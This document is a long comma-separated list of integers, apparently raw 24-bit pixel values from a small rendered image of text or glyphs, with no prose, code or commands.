0,0,0,0,0,0,0,0,0,0,6721755,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3827344,11983835,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,58,9483995,16777215,16777179,11964474,0,0,0,0,0,0,0,0,0,0,0,3827382,14408703,16777215,16777179,11964474,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777215,16777215,16777215,16777215,16777179,9452032,102,11993087,11953664,0,0,0,0,0,0,0,0,6721755,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6721755,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493467,14399120,11983871,16758374,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,0,0,0,0,0,0,0,0,14992,14417883,11964518,3815994,3827382,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3815994,3816038,9493503,14389350,3815994,3815994,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16767888,3801088,0,0,0,0,102,11983871,16777215,16777179,11964474,0,0,14992,14417919,16777179,9452134,11983871,16777215,14399078,0,0,0,0,0,0,0,0,0,26294,16777179,9452032,0,0,3838171,16777142,6684672,0,102,11983871,16777215,16777215,14399078,0,0,14992,14417919,16777179,9452134,11983871,16777215,14399078,0,0,14950,11983835,16777215,16777215,16777215,11953664,0,0,6731519,16777215,16777215,16777142,6684672,0,0,0,102,11983871,16777215,16777179,11964474,0,0,102,11993087,11964560,14417919,16777215,14399120,3801088,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16758374,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,102,11993087,11964560,11983871,16777215,14399120,3801088,0,0,6731519,16777215,16777215,16777142,6684672,0,0,0,14950,11983835,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,6731519,16777215,16777215,16777142,6684672,0,0,0,14950,11983835,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3815994,6721755,16767888,6699578,3815994,3801088,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,0,3816038,11993087,14408630,9463354,3827382,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,11953664,0,58,9493503,16758374,0,58,9493503,16767888,6699578,3827344,14417919,11953664,0,0,3816038,11993087,14408630,9463354,3827382,16777179,9452032,58,9493503,16767888,6699578,3815994,3815994,0,0,0,58,3815994,6721755,16777142,6684672,0,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,102,11993087,16767926,6699578,3827344,14417919,11953664,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16758374,0,0,0,0,0,0,0,0,0,0,0,14992,14417883,9452032,3827344,6699520,3838171,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,102,11993087,16767926,6699578,3827344,14417919,11953664,0,0,58,3815994,6721755,16777142,6684672,0,0,58,9493503,16767888,6699578,3815994,3815994,0,0,0,0,0,0,0,0,0,0,0,58,3815994,6721755,16777142,6684672,0,0,58,9493503,16767888,6699578,3815994,3815994,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777215,16777215,16777215,16777215,16758374,0,102,11993087,11953664,0,0,6731519,16758374,0,0,102,11993087,14389306,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,6731519,16758374,0,14992,14417919,11953664,0,14992,14417883,9452032,0,0,3838171,16758374,0,0,102,11993087,14389306,0,102,11993087,11953664,58,9493503,16767888,6699578,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,102,11993087,11953664,0,0,6731519,16758374,0,102,11993087,14389306,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16758374,0,0,0,0,0,0,0,0,0,0,0,26294,16777179,9463440,14417919,16767888,6721755,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,102,11993087,14389306,0,58,9493503,14389306,0,0,0,0,3838171,16777142,6684672,0,0,58,9493503,16767888,6699578,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,58,9493503,16767888,6699578,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16767888,3801088,0,0,0,14992,14417919,11953664,0,0,6731519,16758374,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,3838171,16767888,3801088,0,14992,14417919,16777215,16777215,16777215,16777215,16758374,0,0,102,11993087,11953664,0,0,0,0,0,14950,11983835,16777215,16777215,14399120,3801088,0,0,0,0,3838171,16777142,6684672,0,0,14992,14417919,11953664,0,0,6731519,16758374,0,102,11993087,11953664,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16758374,0,0,0,0,0,0,0,0,0,0,0,14992,14417883,9452032,3827302,6699520,3838171,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,102,11993087,11953664,0,58,9493503,14389306,0,0,0,0,3838171,16777142,6684672,0,0,0,14950,11983835,16777215,16777215,14399120,3801088,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,0,14950,11983835,16777215,16777215,14399120,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16767888,3801088,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,6731519,14389306,0,0,14992,14417883,9452032,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,3816080,11993087,16758374,0,0,0,0,3838171,16777142,6684672,0,0,102,11993087,11953664,0,0,6731519,16758374,0,102,11993087,11953664,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16758374,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,0,0,0,0,0,0,0,0,0,0,3827382,14417919,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,102,11993087,11953664,0,58,9493503,14389306,0,0,0,0,3838171,16777142,6684672,0,0,0,0,0,0,3816080,11993087,16758374,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,0,0,0,0,3816080,11993087,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16767888,3801088,0,0,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,58,3816038,11993087,11953722,3815936,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16758454,11993051,9452032,0,0,0,6731519,16777179,9463354,3815994,3815994,3801088,0,58,3816038,11993087,11953722,3815936,0,0,0,0,3827302,3815994,3815994,3816080,11993087,14389306,0,0,14906,3815994,6721755,16777142,6699578,3815936,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,102,11993087,11953664,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,14906,3815994,6731519,16758374,3815994,3801088,0,0,0,58,9493467,11964474,0,0,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,0,0,58,9493467,11964474,0,0,0,58,9483995,16777179,11953722,3815994,3815994,3815936,0,0,0,58,9493467,11964474,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,102,11993087,11953664,0,58,9493503,14389306,0,0,14906,3815994,6721755,16777142,6699578,3815936,0,0,3827302,3815994,3815994,3816080,11993087,14389306,0,0,0,0,0,0,0,0,0,0,14906,3815994,6721755,16777142,6699578,3815936,0,0,3827302,3815994,3815994,3816080,11993087,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16767888,3801088,0,0,0,0,102,11983871,16777215,16777179,11964474,0,0,3838171,16777215,16777215,16777215,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,58,6731483,16777215,16777215,16777215,11953664,0,3838171,16777215,16777215,16777215,16777142,6684672,0,0,102,11993087,16777215,16777215,16777215,14399120,3801088,0,102,11993087,16777215,16777215,16777215,16777215,16777142,6684672,0,102,11983871,16777215,16777179,11964474,0,0,102,11993087,11953664,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,16777215,16758374,0,0,0,102,11993087,14389350,0,0,0,0,58,9483995,16777215,16777179,11964474,0,0,0,0,102,11993087,14389350,0,0,0,102,11993087,16777215,16777215,16777215,16777215,16767888,3801088,0,0,102,11993087,14389350,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,102,11993087,11953664,0,58,9493503,14389306,0,102,11993087,16777215,16777215,16777215,16777215,16777142,6684672,102,11993087,16777215,16777215,16777215,14399120,3801088,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,16777215,16777142,6684672,102,11993087,16777215,16777215,16777215,14399120,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838134,14408592,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838134,14408592,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838134,14408592,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838134,14408592,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6721755,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6721755,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6721755,16777142,6684672,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6721755,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,16777215,16777142,6684672,0,0,26294,16777179,11974399,16777179,9474230,16777215,14399078,0,102,11993087,11964560,11983871,16777215,16767926,6684672,0,0,102,11983871,16777215,16777179,11964474,0,0,14992,14417919,16777179,9452134,11983871,16777215,14399078,0,3838171,16777215,16777215,16777215,16777215,16777215,14389306,0,0,3838171,16777215,16777215,14408630,6699520,0,0,102,11993087,11964560,14417919,16777215,14399120,3801088,0,3838171,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14950,11983835,16777215,16777215,16777215,11953664,0,0,6731519,16777215,16777215,16777142,6684672,0,0,102,11993087,11964560,14417919,16777215,14399120,3801088,0,0,58,6731483,16777215,16777215,16767926,9452032,0,0,102,11983871,16777215,16777215,14399078,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,16777215,16777142,6684672,0,0,3838171,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,0,0,0,0,0,0,0,6731519,16777215,16777215,16777142,6684672,0,0,0,14950,11983835,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,3838171,16777215,16777215,16777215,16777215,16777215,14389306,0,102,11993087,11964560,11983871,16777215,14399120,3801088,0,0,102,11983871,16777215,16777215,14399078,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3815994,6721755,16777142,6684672,0,0,26294,16777179,9452090,9493503,14389306,3838171,16767888,3801088,102,11993087,16767926,6699578,3816038,11993087,16758374,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,0,3816038,11993087,14408630,9463354,3827382,16777179,9452032,58,3816038,9493503,14389350,3815994,3815994,3801088,0,0,58,3815994,3816038,9483995,16777142,6684672,0,102,11993087,16767926,6699578,3827344,14417919,11953664,0,58,3816038,9493503,14389350,3815994,3815994,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16767888,6699578,3815994,3815994,0,0,0,58,3815994,6721755,16777142,6684672,0,0,102,11993087,16767926,6699578,3827344,14417919,11953664,0,0,6731519,16777179,9463354,3815994,9484031,16758374,3801088,58,9493503,16767888,6699578,3827344,14417919,11953664,0,0,0,0,0,0,0,0,0,0,58,3815994,6721755,16777142,6684672,0,0,58,3816038,9493503,14389350,3815994,3815994,3801088,0,0,0,0,0,0,0,0,0,0,58,3815994,6721755,16777142,6684672,0,0,58,9493503,16767888,6699578,3815994,3815994,0,0,0,0,0,0,0,0,0,0,58,3816038,9493503,14389350,3815994,3815994,3801088,0,102,11993087,16767926,6699578,3827344,14417919,11953664,0,58,9493503,16767888,6699578,3827344,14417919,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,102,11993087,14389306,0,0,3838171,16777142,6684672,102,11993087,11953664,0,0,6731519,16758374,0,0,102,11993087,14389306,0,102,11993087,11953664,0,58,9493503,14389306,0,0,0,0,0,0,58,3815994,3816080,14417883,9452032,0,102,11993087,14389306,0,58,9493503,14389306,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16767888,6699578,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,102,11993087,14389306,0,58,9493503,14389306,0,102,11993087,11953664,0,0,0,0,0,14992,14417883,9452032,0,0,3838171,16758374,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,58,9493503,16767888,6699578,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,102,11993087,14389306,0,58,9493503,14389306,0,14992,14417883,9452032,0,0,3838171,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,102,11993087,11953664,0,0,26294,16777142,6684672,14992,14417919,11953664,0,0,6731519,16758374,0,0,102,11993087,11953664,0,0,0,0,0,58,9493503,14389306,0,0,0,0,58,9483995,16777215,14408667,14408703,16777179,9452032,0,102,11993087,11953664,0,58,9493503,14389306,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14950,11983835,16777215,16777215,14399120,3801088,0,0,0,0,3838171,16777142,6684672,0,0,102,11993087,11953664,0,58,9493503,14389306,0,14992,14417883,9452032,0,0,0,0,0,14992,14417919,16777215,16777215,16777215,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,0,14950,11983835,16777215,16777215,14399120,3801088,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,102,11993087,11953664,0,58,9493503,14389306,0,14992,14417919,16777215,16777215,16777215,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,102,11993087,14389306,0,0,3838171,16777142,6684672,102,11993087,11953664,0,0,6731519,16758374,0,0,102,11993087,11953664,0,0,0,0,0,58,9493503,14389306,0,0,0,0,26294,16777142,6684672,0,102,11993051,9452032,0,102,11993087,11953664,0,58,9493503,14389306,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3816080,11993087,16758374,0,0,0,0,3838171,16777142,6684672,0,0,102,11993087,11953664,0,58,9493503,14389306,0,102,11993087,11953664,0,0,0,0,0,14992,14417883,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,0,0,0,0,3816080,11993087,16758374,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,102,11993087,11953664,0,58,9493503,14389306,0,14992,14417883,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,3815994,6721755,16777142,6699578,3815936,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,102,11993087,16767926,9452090,3816038,11993087,16758374,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,58,3816038,11993087,11953722,3815936,0,0,0,0,0,6731519,16767926,6699578,3815994,3815994,0,26294,16777142,6699520,58,6721718,14408667,9463296,0,102,11993087,11953664,0,58,9493503,14389306,0,0,0,6731519,16767926,6699578,3815994,3815994,0,0,0,102,11993087,14389306,0,0,0,0,0,0,0,0,0,0,0,0,3827302,3815994,3815994,3816080,11993087,14389306,0,0,14906,3815994,6721755,16777142,6699578,3815936,0,102,11993087,11953664,0,58,9493503,14389306,0,0,6731519,16777179,11953722,3815994,3815994,3815936,0,0,6731519,16777179,9463354,3815994,3815994,3801088,0,0,0,0,0,0,0,0,0,0,14906,3815994,6721755,16777142,6699578,3815936,0,0,0,6731519,16767926,6699578,3815994,3815994,0,0,0,0,0,0,0,0,0,0,14906,3815994,6721755,16777142,6699578,3815936,0,0,3827302,3815994,3815994,3816080,11993087,14389306,0,0,0,0,0,0,0,0,0,0,0,6731519,16767926,6699578,3815994,3815994,0,102,11993087,11953664,0,58,9493503,14389306,0,0,6731519,16777179,9463354,3815994,3815994,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,16777215,16777142,6684672,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,102,11993087,11964518,11983871,16777215,16767926,6684672,0,0,102,11983871,16777215,16777179,11964474,0,0,3838171,16777215,16777215,16777215,16777142,6684672,0,0,0,0,14950,11983871,16777215,16777215,16758374,3801088,58,9483995,16777215,16777179,11964518,9493503,16777215,11953664,102,11993087,11953664,0,58,9493503,14389306,0,0,0,14950,11983871,16777215,16777215,16758374,3801088,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,14399120,3801088,0,102,11993087,16777215,16777215,16777215,16777215,16777142,6684672,102,11993087,11953664,0,58,9493503,14389306,0,0,58,6731483,16777215,16777215,16777215,14389306,0,0,58,6731483,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,16777215,16777142,6684672,0,0,14950,11983871,16777215,16777215,16758374,3801088,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,16777215,16777142,6684672,102,11993087,16777215,16777215,16777215,14399120,3801088,0,0,0,0,0,0,0,0,0,0,0,14950,11983871,16777215,16777215,16758374,3801088,102,11993087,11953664,0,58,9493503,14389306,0,0,58,6731483,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087